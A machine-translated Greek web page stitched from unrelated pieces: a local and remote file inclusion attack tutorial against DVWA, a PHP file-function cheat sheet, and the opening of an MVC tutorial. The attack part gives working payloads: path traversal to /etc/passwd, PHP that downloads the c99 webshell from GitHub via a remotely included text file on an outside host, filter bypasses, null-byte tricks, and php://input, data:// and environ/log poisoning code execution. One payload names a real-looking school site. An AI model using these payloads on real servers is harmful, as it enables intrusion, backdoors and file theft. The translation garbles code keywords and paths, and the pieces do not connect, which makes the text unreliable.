Φανταστική προβολή αρχείου php. Αρχείο - Διαβάζει τα περιεχόμενα ενός αρχείου και το τοποθετεί σε έναν πίνακα. Εργασία με αρχεία στον διακομιστή
Μερικές φορές η ένεση αρχείου ονομάζεται συμπερίληψη, μερικές φορές θεωρείται ως μέρος της ένεσης PHP (ένεση κώδικα). Το τελευταίο δεν είναι απολύτως αληθές, καθώς τα τρωτά σημεία έγχυσης αρχείων δεν σχετίζονται απαραίτητα με την εκτέλεση κώδικα.
Η ευπάθεια μπορεί να προκύψει όταν χρησιμοποιούνται (στην PHP) εκφράσεις όπως:
- απαιτείται_μια φορά,
- περιλαμβάνει_μια φορά,
- περιλαμβάνω,
- απαιτώ
Κάθε ένα από αυτά έχει μικρές αποχρώσεις, αλλά το κοινό τους είναι ότι περιλαμβάνουν ένα αρχείο στο πρόγραμμα και το εκτελούν. Αυτές οι εκφράσεις μπορεί να προκαλέσουν προβλήματα εάν περάσουν την είσοδο του χρήστη και το πρόγραμμα δεν τις φιλτράρει αρκετά.
Παρεμπιπτόντως, ναι, αυτές είναι εκφράσεις, όχι συναρτήσεις. Δεν είναι απαραίτητο να γράψουμε έτσι:
Require("somefile.php");
Μια προτιμότερη επιλογή είναι:
Απαιτείται "somefile.php";
Αλλά αυτή είναι μια υποχώρηση που δεν έχει καμία σχέση με την ευπάθεια.
Εάν περιλαμβάνονται αρχεία χρησιμοποιώντας τις εκφράσεις require_once, include_once, include, require, τότε μπορούμε να πούμε ότι η ένεση κώδικα πραγματοποιείται επίσης την ίδια στιγμή. Ωστόσο, είναι δυνατό να συμπεριληφθούν αρχεία χωρίς να εκτελείται κώδικας στον διακομιστή. Για παράδειγμα, ένας ιστότοπος αλλάζει την εμφάνισή του με βάση το θέμα που έχει επιλέξει ο χρήστης. Το όνομα των θεμάτων αντιστοιχεί στο όνομα των αρχείων HTML που διαβάζονται στον διακομιστή. Σε αυτήν την περίπτωση, εάν το αίτημα έχει διαμορφωθεί με τέτοιο τρόπο ώστε να διαβάζει ένα αρχείο που δεν προορίζεται για αυτό (για παράδειγμα, ένα αρχείο PHP), τότε αντί να εκτελούνται εντολές, θα εμφανίζεται ο πηγαίος κώδικας PHP.
Ο χρήστης μπορεί να καθορίσει ένα απομακρυσμένο ή τοπικό αρχείο ως αρχείο συμπερίληψης. Με βάση αυτό, διακρίνονται δύο αντίστοιχες ποικιλίες:
- τοπική έγχυση αρχείου
- απομακρυσμένη έγχυση αρχείου
Ο κίνδυνος απομακρυσμένης συμπερίληψης είναι η εκτέλεση αυθαίρετου κώδικα σε έναν ευάλωτο διακομιστή. Αυτό χρησιμοποιείται συνήθως για μολύνσεις πίσω πόρτας.
Ο κίνδυνος της εισαγωγής τοπικού αρχείου είναι ότι ο χρήστης μπορεί να εμφανίσει τα περιεχόμενα των αρχείων που δεν έχει δικαιώματα προβολής (πηγαίοι κώδικες προγραμμάτων, αρχεία συστήματος με ρυθμίσεις και κωδικούς πρόσβασης). Επίσης, με τοπική συμπερίληψη, είναι δυνατή η εκτέλεση κώδικα τρίτου μέρους (για παράδειγμα, για μόλυνση από κερκόπορτα), εάν προηγουμένως είχε μεταφορτωθεί ένα αρχείο με κακόβουλο κώδικα στον διακομιστή ή χρησιμοποιήθηκε η μέθοδος δηλητηρίασης αρχείων καταγραφής ή ορισμένες άλλες μέθοδοι.
Η τοπική συμπερίληψη αρχείων δεν είναι λιγότερο επικίνδυνη από την εισαγωγή απομακρυσμένων αρχείων.
Εκμετάλλευση της ενσωμάτωσης τοπικών αρχείωνΜπορείτε να δοκιμάσετε αυτό το θέμα ευπάθειας στο Damn Vulnerable Web Application (DVWA). Χρησιμοποιώ Web Security Dojo, όπου είναι ήδη εγκατεστημένο το DVWA.
Ας ξεκινήσουμε από ένα χαμηλό επίπεδο (χαμηλή ασφάλεια DVWA).
Ας πάμε στη σελίδα Συμπερίληψη αρχείων http://localhost/dvwa/vulnerabilities/fi/?page=include.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file3.php
Εάν μια τιμή παρόμοια με ένα όνομα αρχείου (file1.php, file2.php) μεταβιβαστεί ως όρισμα σε μια μεταβλητή, τότε μπορούμε να υποθέσουμε ότι χρησιμοποιείται ένα include. Δεδομένου ότι η επέκταση αρχείου είναι .php, το αρχείο εκτελείται πιθανότατα στον διακομιστή (δηλαδή είναι δυνατή η εισαγωγή κώδικα) και δεν εμφανίζεται απλώς για εμφάνιση.
Το DVWA έχει μια σελίδα http://localhost/dvwa/about.php, βρίσκεται δύο επίπεδα πάνω, ας προσπαθήσουμε να το δούμε ως εξής: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ about.php
Ναι, υπάρχει μια ευπάθεια τοπικής ένταξης. Κατά την εισαγωγή, οι μεταβάσεις στους επάνω καταλόγους (../) δεν φιλτράρονται· η λίστα των αρχείων προς συμπερίληψη δεν είναι εξαντλητική (αντί για το προτεινόμενο αρχείο*.php, επιλέξαμε about.php).
Μερικές φορές χρησιμοποιούνται αρχεία που περιλαμβάνονται, αλλά οι διευθύνσεις μπορεί να φαίνονται, για παράδειγμα, ως εξής: http://localhost/dvwa/vulnerabilities/fi/?page=file1. Σε αυτήν την περίπτωση, μπορεί να προστεθεί μια επέκταση στο σενάριο και το σενάριο ενσωματώνει ένα αρχείο του οποίου το όνομα τελικά σχηματίζεται στο σενάριο. Συνήθως, μια ευπάθεια σε αυτή τη μορφή είναι δύσκολο/αδύνατον να εκμεταλλευτεί.
Συχνά, οι άνθρωποι θέλουν να δώσουν κάτι σαν αυτό ως παράδειγμα εκμετάλλευσης της συμπερίληψης τοπικών αρχείων:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd
Όπως μπορούμε να δούμε, λειτούργησε. Αλλά επειδή τα προγράμματα περιήγησης αγνοούν το /r/n (χαρακτήρες νέας γραμμής), πρέπει να ανοίξουμε τον κώδικα κώδικα για να κάνουμε τις εγγραφές αναγνώσιμες:
Δυστυχώς, δεν υπάρχουν κωδικοί πρόσβασης στο αρχείο /etc/passwd για μεγάλο χρονικό διάστημα.
Από τον διακομιστή μπορείτε να τραβήξετε διάφορα αρχεία ρυθμίσεων, πιστοποιητικά SSL, κατ 'αρχήν, οποιοδήποτε αρχείο είναι ανοιχτό για ανάγνωση από όλους τους χρήστες ή για το οποίο ο διακομιστής ιστού έχει επαρκή δικαιώματα ανάγνωσης:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf
Όσον αφορά τις κοινόχρηστες φιλοξενίες, μερικές φορές είναι δυνατό να ψάξετε σε φακέλους άλλων ατόμων (και πάλι, εάν τα δικαιώματα χρήστη έχουν ρυθμιστεί εσφαλμένα).
http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db
Η εργασία περιπλέκεται από το γεγονός ότι πρέπει να γνωρίζουμε τη διαδρομή προς το αρχείο.
Λειτουργία απομακρυσμένης έγχυσης αρχείωνΗ PHP είναι μια πολύ ευέλικτη και φιλική προς τους προγραμματιστές γλώσσα προγραμματισμού. Οι εντολές ενσωμάτωσης αρχείων και κάποιες άλλες αναγνωρίζουν τέλεια και επεξεργάζονται σωστά όχι μόνο τοπικά αρχεία, αλλά και διευθύνσεις URL...
Ας προσπαθήσουμε να γράψουμε τη διεύθυνση URL του ιστότοπου https://site/ αντί για το όνομα του αρχείου:
http://localhost/dvwa/vulnerabilities/fi/?page=https://site/
Δείτε πόσο ενδιαφέρον βγαίνει:
Συνέβη το εξής: ο διερμηνέας PHP έλαβε μια εντολή να συμπεριλάβει το αρχείο/ιστοτόπο https://site/. Άνοιξε/κατέβασε την αντίστοιχη διεύθυνση και έστειλε τον κώδικα που προέκυψε για να εκτελεστεί ως πρόγραμμα PHP. Δεδομένου ότι η PHP εκτελεί μόνο τον κώδικα που περιβάλλεται από τις κατάλληλες ετικέτες (στην περίπτωση αυτή δεν υπήρχε καθόλου κώδικας) και εξάγει όλα τα άλλα ως έχουν, ολόκληρη η σελίδα του ιστότοπου εξάγεται ως έχει.
Φυσικά, αυτή η ευπάθεια είναι ενδιαφέρουσα για εμάς όχι επειδή μπορούμε να προβάλουμε άλλους ιστότοπους μέσω ενός ιστότοπου.
Τόνισα τη λέξη "κείμενο" για το λόγο ότι στον διακομιστή που έχουμε υπό τον έλεγχό μας θα πρέπει να υπάρχει ένα αρχείο κειμένου που δεν πρέπει να εκτελείται στον διακομιστή μας. Ο διακομιστής μας χρειάζεται μόνο να εμφανίσει το περιεχόμενό του.
Για να δημιουργήσετε μια κερκόπορτα, μπορείτε να χρησιμοποιήσετε το Weevely, το PhpSploit ή μπορείτε να πάρετε έτοιμες λύσεις. Ας χρησιμοποιήσουμε ένα έτοιμο αυτή τη φορά.
Θα αντιστοιχίσω στη μεταβλητή $backdoor τον πηγαίο κώδικα του backdoor, τον οποίο κατεβάζω από το Github. Στη συνέχεια χρησιμοποιώ τη συνάρτηση file_put_contents για να αποθηκεύσω τον πηγαίο κώδικα που προκύπτει στο αρχείο c99unlimited.php.
Ο κώδικας που έχω τοποθετήσει σε ένα αρχείο κειμένου
$backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); ηχώ "έγινε!".
Είναι διαθέσιμο στη διεύθυνση http://miloserdov.org/sec.txt
Τώρα, χρησιμοποιώντας μια απομακρυσμένη συμπερίληψη, ανεβάζουμε μια κερκόπορτα σε έναν ευάλωτο διακομιστή.
http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt
Προσοχή στην επιγραφή έγινε!, εμφανίζεται από το σενάριο, δηλ. όλα μάλλον λειτούργησαν.
Δεδομένου ότι το σενάριο που περιλαμβάνει τα αρχεία βρίσκεται στον κατάλογο http://localhost/dvwa/vulnerabilities/fi/ και το νέο μας αρχείο με την κερκόπορτα θα έπρεπε να είχε αποθηκευτεί με το όνομα c99unlimited.php, η πλήρης διεύθυνση της κερκόπορτας στο ο ευάλωτος διακομιστής θα πρέπει να είναι: http://localhost/dvwa/vulnerabilities/fi/c99unlimited.php
Ελέγχουμε:
Τέλεια, τώρα έχουμε όλες τις δυνατότητες που θα μπορούσε να χρειαστεί ένας διαχειριστής διακομιστή ιστού... και όσοι έχουν πρόσβαση στον διακομιστή τους.
Παράκαμψη φιλτραρίσματος κατά τη συμπερίληψη αρχείων τοπικάΑς περάσουμε στο μεσαίο επίπεδο ασφάλειας (με δυνατότητα διαμόρφωσης στο DVWA Security).
Αν κοιτάξουμε τον πηγαίο κώδικα (κουμπί Προβολή πηγής):
τότε θα δούμε ότι οι χαρακτήρες ../ έχουν πλέον φιλτραριστεί. Αυτό θα μας εμποδίσει να μετακινηθούμε σε έναν κατάλογο υψηλότερο από αυτόν στον οποίο εκτελείται το ευάλωτο σενάριο.
Εκείνοι. τίποτα δεν θα λειτουργήσει έτσι:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf
Ας σκεφτούμε πώς λειτουργεί το φιλτράρισμα σε αυτήν την περίπτωση; Ας πούμε ότι η λέξη "κακό" φιλτράρεται και μετά μια γραμμή όπως
καλό κακό καλό
μετά το φιλτράρισμα θα μοιάζει με αυτό:
καλα καλα
Και αν εισαγάγετε μια γραμμή όπως αυτή
κακός κακός xo
τότε μετά το φιλτράρισμα (το "κακό" θα αφαιρεθεί) θα αποδειχθεί
Κακώς
Στο ../ εισάγουμε ../ στη μέση πάλι, βγαίνει ..././
Ας δοκιμάσουμε αυτήν τη διεύθυνση http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf
Δούλεψε!
Μια άλλη λύση θα μπορούσε να είναι η κωδικοποίηση χαρακτήρων σε δεκαεξαδική κωδικοποίηση, ένα παράδειγμα αυτής της γραμμής:
http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd
Το "../" μπορεί να αντικατασταθεί με το "%2E%2E%2f".
Εφαρμόζεται επίσης η διπλή εξαγωνική κωδικοποίηση, στην οποία το "../" αντικαθίσταται από το "%252E%252E%252F"
Τοπική συμπερίληψη αρχείων κατά την προσθήκη επέκτασης σε σενάριοΕάν ο κώδικας που περιλαμβάνει τα αρχεία μοιάζει με:
Εκείνοι. Εάν προστεθεί ένα .php ή κάποια άλλη επέκταση σε οποιαδήποτε είσοδο χρήστη, αυτό δεν επιτρέπει τη διαμόρφωση του αιτήματος με τέτοιο τρόπο ώστε να πραγματοποιηθεί μια επίθεση.
Υπάρχουν αρκετές τεχνικές που έχουν σχεδιαστεί για την απόρριψη της επέκτασης, αλλά μπορούν να θεωρηθούν ξεπερασμένες, καθώς λειτουργούν στην PHP 5.3, και ακόμη και τότε όχι σε όλες τις εκδόσεις. Ωστόσο, οι διαχειριστές διακομιστών ιστού είναι κλινικά συντηρητικοί και προτιμούν να μην αγγίζουν τίποτα εάν λειτουργεί. Εκείνοι. Υπάρχει πιθανότητα να συναντήσετε έναν διακομιστή με μια πολύ αρχαία έκδοση της PHP και θα πρέπει να γνωρίζετε αυτές τις τεχνικές.
Χρήση του μηδενικού byte %00 (null byte)
Ένα null byte προστίθεται στο τέλος του αιτήματος για να αγνοηθεί η επέκταση:
http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00
Η δεύτερη μέθοδος ονομάζεται επίθεση περικοπής διαδρομής. Η ουσία είναι ότι η PHP περικόπτει διαδρομές μεγαλύτερες από 4096 byte. Σε αυτήν την περίπτωση, η PHP ανοίγει σωστά το αρχείο, ακόμα κι αν υπάρχουν κάθετες και τελείες στο τέλος του ονόματός του. Αν περάσετε ως παράμετρο κάτι σαν?param1=../../../../etc/passwd/./././././ (όπου το ./ επαναλαμβάνεται πολλές χιλιάδες φορές), τότε το τελικό αρχείο μαζί με την επέκταση (την οποία πρόσθεσε το σενάριο, με αποτέλεσμα το όνομα αρχείου να περιλαμβάνει/../../../../etc/passwd/./././././ .php) θα απορριφθεί. Και το όνομα αρχείου θα περιλαμβάνει/../../../../etc/passwd/./././././. Και επειδή η PHP δεν συγχέεται με τις τελικές κάθετες και ./ στο τέλος του αρχείου, απλώς τις αγνοεί, συνολικά η PHP θα ανοίξει το αρχείο κατά μήκος της διαδρομής περιλαμβάνει/../../../../etc/ passwd.
Παράκαμψη φιλτραρίσματος για απομακρυσμένη ένεση αρχείωνΌπως είδαμε ήδη στον πηγαίο κώδικα, το μεσαίο επίπεδο ασφάλειας φιλτράρει επίσης τα http:// και https://.
Τώρα http://localhost/dvwa/vulnerabilities/fi/?. Θα χρησιμοποιήσουμε ακριβώς την ίδια τεχνική για να παρακάμψουμε το φιλτράρισμα με τοπική συμπερίληψη. Δημιουργήθηκε αίτημα:
http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/
Και επίσης σημειώστε ότι δεν φιλτράρεται, για παράδειγμα ftp, π.χ. Αυτή η επιλογή θα λειτουργούσε χωρίς καθόλου κόλπα:
http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/
Λήψη του πηγαίου κώδικα των σεναρίων PHP κατά τη συμπερίληψη αρχείων από το php://filterΑυτό το τέχνασμα δεν απαιτεί απομακρυσμένη συμπερίληψη αρχείων. Θα χρησιμοποιηθεί ένα είδος meta wrapper php://filter.
Ας υποθέσουμε ότι θέλουμε να δούμε τον πηγαίο κώδικα του αρχείου file1.php, τότε για την περίπτωσή μας το αίτημα θα συντεθεί ως εξής:
http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php
Δώστε προσοχή στην ανούσια σειρά γραμμάτων και αριθμών - αυτός είναι ο πηγαίος κώδικας του αρχείου file1.php στην κωδικοποίηση base64. Δεδομένου ότι είναι το base64, υποστηρίζονται επίσης δυαδικά αρχεία.
Ας αποκωδικοποιήσουμε το αρχείο:
Απομακρυσμένη εκτέλεση κώδικα με php://inputΑυτό δεν μοιάζει με την ενσωμάτωση αρχείων και πάλι δεν απαιτεί από εσάς να ανεβάσετε αρχεία.
Για να βοηθήσω, θα χρησιμοποιήσω την επέκταση FireFox, μπορείτε επίσης να τη χρησιμοποιήσετε ή οποιοδήποτε άλλο πρόγραμμα (για παράδειγμα, curl) που μπορεί να μεταφέρει δεδομένα χρησιμοποιώντας τη μέθοδο POST.
Το php://input έχει πρόσβαση στο μη επεξεργασμένο σώμα του αιτήματος HTTP, για να κατανοήσετε τι κάνει το include("php://input"), ανοίξτε τη σελίδα
http://localhost/dvwa/vulnerabilities/fi/?page=php://input
Και στο σώμα του αιτήματος, στείλτε τον σωστό κώδικα PHP (για παράδειγμα, χρησιμοποιώντας τη μέθοδο POST). Αυτό θα σας επιτρέψει να εκτελέσετε οποιαδήποτε λειτουργία επιτρέπεται στον απομακρυσμένο διακομιστή!
Απομακρυσμένη εκτέλεση κώδικα με δεδομένα://
Επιπλέον, η PHP υποστηρίζει το σχήμα URL data://. Μπορείτε να τοποθετήσετε τον κώδικα απευθείας στην παράμετρο GET! Η ακόλουθη δοκιμή δεν απαιτεί ειδικά εργαλεία, απλώς ένα κανονικό πρόγραμμα περιήγησης για την εκτέλεση της επίθεσης.
http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,
Ορισμένα τείχη προστασίας εφαρμογών ιστού ενδέχεται να παρατηρήσουν μια ύποπτη συμβολοσειρά σε μια διεύθυνση URL και να αποκλείσουν το κακόβουλο αίτημα. Αλλά υπάρχει ένας τρόπος να κρυπτογραφήσετε τη συμβολοσειρά με κωδικοποίηση τουλάχιστον base64:
http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
Εκτελέστε αυθαίρετες εντολές από το /proc/self/environΤο /proc/self/environ είναι η αποθήκευση της μεταβλητής διαδικασίας. Εάν η διαδικασία Apache έχει επαρκή δικαιώματα πρόσβασης σε αυτήν, τότε όταν ανοίγετε μια ιστοσελίδα που περιέχει μια προσθήκη με παρόμοια διεύθυνση URL,
www.website.com/view.php?page=../../../../../proc/self/environ
θα βγάζει κάτι σαν
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Έκδοση/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET_phRI? %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [email προστατευμένο] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Δώστε προσοχή στο HTTP_USER_AGENT. Αντίθετα, μπορείτε να αντικαταστήσετε τον σωστό κώδικα PHP, ο οποίος θα εκτελεστεί σε έναν απομακρυσμένο διακομιστή.
Χαλκογραφία και έγχυση αρχείων καταγραφής όταν περιλαμβάνονται αρχεία τοπικάΔυστυχώς, αυτή η μέθοδος δεν λειτουργεί πλέον σε πρόσφατες εκδόσεις του Apache.
Η ουσία του έγκειται στο γεγονός ότι ο κώδικας του εισβολέα εισάγεται στα αρχεία καταγραφής του διακομιστή web. Αυτό μπορεί να γίνει αντικαθιστώντας το User-Agent , ή ακόμα και απλώς μεταβιβάζοντάς το σε μια παράμετρο GET.
Στατική έγχυση απομακρυσμένου αρχείουΈνα παράδειγμα στατικού περιλαμβάνει:
Μπορείτε να χρησιμοποιήσετε μια στατική συμπερίληψη σε πολύ εξωτικές καταστάσεις. Για να εισαγάγετε κακόβουλο κώδικα, είναι απαραίτητο να πραγματοποιήσετε μια επίθεση man-in-the-middle μεταξύ δύο διακομιστών: ο ένας φιλοξενεί την εφαρμογή Ιστού χρησιμοποιώντας τη συμπερίληψη και ο δεύτερος φιλοξενεί το αρχείο που χρησιμοποιήθηκε για τη συμπερίληψη.
PHP file_exists("test.txt")//Υπάρχει το αρχείο; filesize("test.txt");//Μάθετε το μέγεθος του αρχείου //Η χρονική σήμανση επιστρέφεται: fileatime("test.txt");//Ημερομηνία τελευταίας πρόσβασης στο αρχείο //date("d M Y" , $atime); filemtime("test.txt");//Ημερομηνία τροποποίησης αρχείου //date("d M Y", $mtime); filectime("test.txt");//Ημερομηνία δημιουργίας αρχείου (Windows) //date("d M Y", $ctime); Αρχεία: τρόποι λειτουργίας πόρων PHP fopen (όνομα αρχείου συμβολοσειράς, λειτουργία συμβολοσειράς) // πόρος - επιστρέφει έναν δείκτη στο αρχείο σε περίπτωση επιτυχίας ή FALSE σε περίπτωση σφάλματοςάνοιγμα αρχείου μόνο για ανάγνωση. |
ανοίξτε το αρχείο για ανάγνωση και γραφή. |
ανοίξτε το αρχείο μόνο για εγγραφή. Εάν υπάρχει, τότε τα τρέχοντα περιεχόμενα του αρχείου καταστρέφονται. Η τρέχουσα θέση έχει οριστεί στην αρχή. |
ανοίξτε το αρχείο για ανάγνωση και γραφή. Εάν υπάρχει, τότε τα τρέχοντα περιεχόμενα του αρχείου καταστρέφονται. Η τρέχουσα θέση έχει οριστεί στην αρχή. |
ανοίξτε το αρχείο για εγγραφή. Η τρέχουσα θέση ορίζεται στο τέλος του αρχείου. |
ανοίξτε το αρχείο για ανάγνωση και γραφή. Η τρέχουσα θέση ορίζεται στο τέλος του αρχείου. |
επεξεργαστείτε το δυαδικό αρχείο. Αυτή η σημαία απαιτείται όταν εργάζεστε με δυαδικά αρχεία στα Windows. |
Αρχικά, το Write θα συμβεί στην αρχή του αρχείου, αντικαθιστώντας τα υπάρχοντα δεδομένα, εάν υπάρχουν. Επομένως, εάν πρέπει να γράψετε κάτι στο τέλος του αρχείου, πρέπει να ορίσετε την κατάλληλη λειτουργία ανάγνωσης, για παράδειγμα, a+ .
Χειρισμός του δρομέα σε αρχεία PHP PHP int fseek(int fi, int offset [, int wherece]) //Ρύθμιση του δρομέα // int fi - δείκτης στο αρχείο //offset - ο αριθμός των χαρακτήρων προς μετακίνηση. //whence: //SEEK_SET - η κίνηση ξεκινά από την αρχή του αρχείου. //SEEK_CUR - η κίνηση ξεκινά από την τρέχουσα θέση. //SEEK_END - η κίνηση ξεκινά από το τέλος του αρχείου. fseek($fi, -10, SEEK_END); //Διαβάστε τους τελευταίους 10 χαρακτήρες $s = fread($fi, 10); $pos = ftell($fi); // Μάθετε την τρέχουσα θέση rewind($f) // επαναφορά του δρομέα bool feof($f) // τέλος του αρχείου Άμεση εργασία με αρχεία (δεδομένα) σε PHP Αρχείο πίνακα PHP (όνομα αρχείου συμβολοσειράς) // Λήψη των περιεχομένων του αρχείου με τη μορφή πίνακα // Μια άλλη επιλογή για απευθείας εργασία με δεδομένα file_get_contents(όνομα αρχείου συμβολοσειράς) //Ανάγνωση (λαμβάνουμε ολόκληρο το αρχείο σε μια γραμμή) //Εγγραφή στο αρχείο (αρχικά αντικαταστάθηκε) file_put_contents(όνομα αρχείου συμβολοσειράς , μικτά δεδομένα[,int flag]); //FILE_APPEND // Γράψτε στο τέλος του αρχείου: file_put_contents("test.txt", "data", FILE_APPEND); //Εάν γράψετε έναν πίνακα, $array = array("I", "live"); file_put_contents("test.txt",$array); //τότε λαμβάνουμε "Ilive" Διαχείριση αρχείων σε αντίγραφο php PHP(πηγή συμβολοσειράς, προορισμός συμβολοσειράς); // Αντιγραφή του αρχείου μετονομασία (str oldname, str newname); // Μετονομάστε το αρχείο unlink(string filename); // Διαγραφή αρχείου Μεταφόρτωση αρχείων στον διακομιστή PHP // Ρυθμίσεις PHP.ini file_uploads (on|off) // επιτρέποντας ή απενεργοποιώντας τις μεταφορτώσεις αρχείων upload_tmp_dir // προσωρινό φάκελο για τα μεταφορτωμένα αρχεία. από προεπιλογή προσωρινός φάκελος upload_max_filesize (προεπιλογή = 2 Mb) // μέγ. μέγεθος του μεταφορτωμένου αρχείου post_max_size // συνολικό μέγεθος της φόρμας που στάλθηκε (πρέπει να είναι μεγαλύτερο από το upload_max_filesize) //Απλή μεταφόρτωση HTML Εργαζόμαστε με αρχεία στον διακομιστή PHP //Λήψη δεδομένων $tmp = $_FILES["αρχείο χρήστη"][" tmp_name"]; $name = $_FILES ["αρχείο χρήστη"]["όνομα"]; //Μετακίνηση του αρχείου move_uploaded_file($tmp, name); move_uploaded_file($tmp, "upload/".name); // ανακατευθύνει το αρχείο στον φάκελο μεταφόρτωσης // σε σχέση με το τρέχον αρχείο // Τι υπάρχει στον πίνακα $_FILES $_FILES["userfile"]["name"] // όνομα αρχείου, για παράδειγμα, test.html $_FILES[ "userfile"][" tmp_name"] // προσωρινό όνομα αρχείου (διαδρομή) $_FILES["userfile"]["size"] // μέγεθος αρχείου $_FILES["userfile"]["type"] // τύπος αρχείου $ _FILES["userfile"] ["σφάλμα"] // 0 - χωρίς σφάλματα, αριθμός - ναι Πολλοί άνθρωποι αρχίζουν να γράφουν ένα έργο για να δουλέψουν με μία εργασία, χωρίς να σημαίνει ότι μπορεί να εξελιχθεί σε ένα σύστημα διαχείρισης πολλών χρηστών, για παράδειγμα , περιεχόμενο ή, Θεός φυλάξοι, παραγωγή. Και όλα φαίνονται υπέροχα και ωραία, όλα λειτουργούν, μέχρι να αρχίσετε να καταλαβαίνετε ότι ο κώδικας που γράφεται αποτελείται εξ ολοκλήρου από δεκανίκια και σκληρό κώδικα. Ο κώδικας αναμειγνύεται με διάταξη, ερωτήματα και δεκανίκια, μερικές φορές ακόμη και μη αναγνώσιμο. Προκύπτει ένα πιεστικό πρόβλημα: όταν προσθέτετε νέες δυνατότητες, πρέπει να εργάζεστε με αυτόν τον κώδικα για πολύ καιρό, να θυμάστε "τι γράφτηκε εκεί;" και καταριέσαι τον εαυτό σου στο παρελθόν.Μπορεί να έχετε ακούσει ακόμη και για μοτίβα σχεδίασης και ακόμη και να έχετε ξεφυλλίσει αυτά τα υπέροχα βιβλία:
- E. Gamma, R. Helm, R. Johnson, J. Vlissides «Αντικειμενοστρεφείς τεχνικές σχεδίασης. Σχεδιαστικά πρότυπα";
- M. Fowler "Αρχιτεκτονική των Εφαρμογών Λογισμικού Επιχειρήσεων."
Αυτό το άρθρο θα είναι χρήσιμο κυρίως για αρχάριους. Σε κάθε περίπτωση, ελπίζω ότι σε λίγες ώρες θα είστε σε θέση να πάρετε μια ιδέα για την εφαρμογή του μοτίβου MVC, το οποίο βασίζεται σε όλα τα σύγχρονα πλαίσια web, και επίσης να πάρετε «τροφή» για περαιτέρω προβληματισμό σχετικά με το «πώς να Κάνε το." Στο τέλος του άρθρου υπάρχει μια επιλογή από χρήσιμους συνδέσμους που θα σας βοηθήσουν επίσης να κατανοήσετε από τι αποτελούνται τα πλαίσια web (εκτός από το MVC) και πώς λειτουργούν.
Οι έμπειροι προγραμματιστές PHP είναι απίθανο να βρουν κάτι νέο για τον εαυτό τους σε αυτό το άρθρο, αλλά τα σχόλια και τα σχόλιά τους στο κύριο κείμενο θα ήταν πολύ χρήσιμα! Επειδή Χωρίς θεωρία, η πράξη είναι αδύνατη, και χωρίς πρακτική, η θεωρία είναι άχρηστη, τότε πρώτα θα υπάρξει λίγη θεωρία και μετά θα προχωρήσουμε στην πράξη. Εάν είστε ήδη εξοικειωμένοι με την έννοια του MVC, μπορείτε να παραλείψετε το τμήμα της θεωρίας και να πάτε κατευθείαν στην πράξη.
1. Θεωρία Το μοτίβο MVC περιγράφει έναν απλό τρόπο δομής μιας εφαρμογής, σκοπός του οποίου είναι να διαχωρίσει την επιχειρηματική λογική από τη διεπαφή χρήστη. Ως αποτέλεσμα, η εφαρμογή είναι ευκολότερη στην κλίμακα, τη δοκιμή, τη συντήρηση και, φυσικά, την εφαρμογή.Ας δούμε το εννοιολογικό διάγραμμα του μοτίβου MVC (κατά τη γνώμη μου, αυτό είναι το πιο επιτυχημένο διάγραμμα που έχω δει):
Στην αρχιτεκτονική MVC, το μοντέλο παρέχει τα δεδομένα και τους κανόνες επιχειρηματικής λογικής, η προβολή είναι υπεύθυνη για τη διεπαφή χρήστη και ο ελεγκτής παρέχει αλληλεπίδραση μεταξύ του μοντέλου και της προβολής.
Μια τυπική ροή μιας εφαρμογής MVC μπορεί να περιγραφεί ως εξής:
Αυτό εμφανίζει μια προβολή, ας πούμε, της κύριας σελίδας του ιστότοπου.
το οποίο, για παράδειγμα, περιέχει κλήσεις μοντέλων που διαβάζουν πληροφορίες από τη βάση δεδομένων.
Το μοντέλο δεν πρέπει να αλληλεπιδρά άμεσα με τον χρήστη. Όλες οι μεταβλητές που σχετίζονται με το αίτημα χρήστη πρέπει να υποβάλλονται σε επεξεργασία στον ελεγκτή.
Το μοντέλο δεν πρέπει να δημιουργεί HTML ή άλλο κώδικα εμφάνισης που μπορεί να αλλάξει ανάλογα με τις ανάγκες του χρήστη. Αυτός ο κώδικας θα πρέπει να υποβάλλεται σε επεξεργασία σε προβολές.
